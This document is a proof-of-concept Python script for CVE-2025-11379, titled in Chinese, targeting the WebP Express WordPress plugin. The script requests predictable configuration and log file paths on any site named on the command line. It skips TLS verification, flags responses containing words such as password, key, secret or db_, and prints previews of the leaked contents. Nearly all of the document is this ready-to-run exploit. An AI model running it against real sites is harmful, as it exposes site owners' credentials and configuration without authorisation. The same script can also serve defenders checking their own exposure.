CVE-2025-11379 WordPress WebP Express插件配置文件信息泄露漏洞

# CVE-2025-11379 PoC - WebP Express Config File Information Disclosure # Affected: WebP Express plugin for WordPress <= 0.25.9 # Type: Information Disclosure via predictable config file paths import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-11379 Tests common config file paths for WebP Express plugin """ # Common config file paths used by WebP Express config_paths = [ '/wp-content/webp-express/config/files/.htaccess', '/wp-content/webp-express/config/log.txt', '/wp-content/webp-express/config/options.json', '/wp-content/webp-express/config/wpc-settings.json', '/wp-content/webp-express/log.txt' ] vulnerable_paths = [] for path in config_paths: full_url = urljoin(target_url, path) try: response = requests.get(full_url, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: # Check if response contains sensitive config data content = response.text.lower() if any(keyword in content for keyword in ['password', 'key', 'secret', 'db_', 'api']): vulnerable_paths.append({ 'path': path, 'status': 'VULNERABLE - Contains sensitive data', 'content_preview': response.text[:200] }) elif response.status_code == 200: vulnerable_paths.append({ 'path': path, 'status': 'Accessible (verify content)', 'content_preview': response.text[:200] }) except requests.RequestException as e: print(f"Error checking {path}: {e}") return vulnerable_paths def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-11379-poc.py <target_url>") print("Example: python cve-2025-11379-poc.py http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Scanning target: {target}") print(f"[*] Checking for CVE-2025-11379 vulnerability...\n") results = check_vulnerability(target) if results: print(f"[!] Found {len(results)} accessible config paths:\n") for result in results: print(f"Path: {result['path']}") print(f"Status: {result['status']}") print(f"Preview: {result['content_preview'][:100]}...") print("-" * 50) else: print("[*] No vulnerable config paths found or target not affected") if __name__ == "__main__": main()